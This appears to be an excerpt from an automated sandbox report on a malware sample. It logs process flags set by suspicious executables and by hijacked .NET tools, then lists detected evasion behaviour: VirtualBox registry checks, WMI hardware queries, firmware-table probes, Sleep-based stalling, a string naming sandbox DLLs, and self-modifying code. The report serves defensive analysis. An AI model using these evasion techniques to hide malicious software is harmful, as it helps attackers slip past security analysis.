Source: C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zSC067.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zSC067.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zSC067.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zSC067.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zSC067.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zSC067.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zSCCDB.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: LLNkfgDtZiUZkTn30_sZHJcE.exe PID: 3228, type: MEMORYSTR

Found stalling execution ending in API Sleep call

Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe

Stalling execution: Execution stalls by calling Sleep

graph_5-60762

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\BI6oo9z4In.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: DbsmJHnmNOlKFVGvWfuU03Cy.exe, 0000000C.00000002.1941148148.0000000004570000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: AHAL9THJOHNDOEAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Special instruction interceptor: First address: 140B33DF2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Special instruction interceptor: First address: 1404E88EB instructions caused by: Self-modifying code

Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Memory allocated: 19A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Memory allocated: 33C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Memory allocated: 31D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Memory allocated: 28B1B160000 memory reserve \| memory write watch
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Memory allocated: 28B34BA0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 16C0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 33A0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 30B0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 10B0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 2A70000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 4A70000 memory reserve \| memory write watch

Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
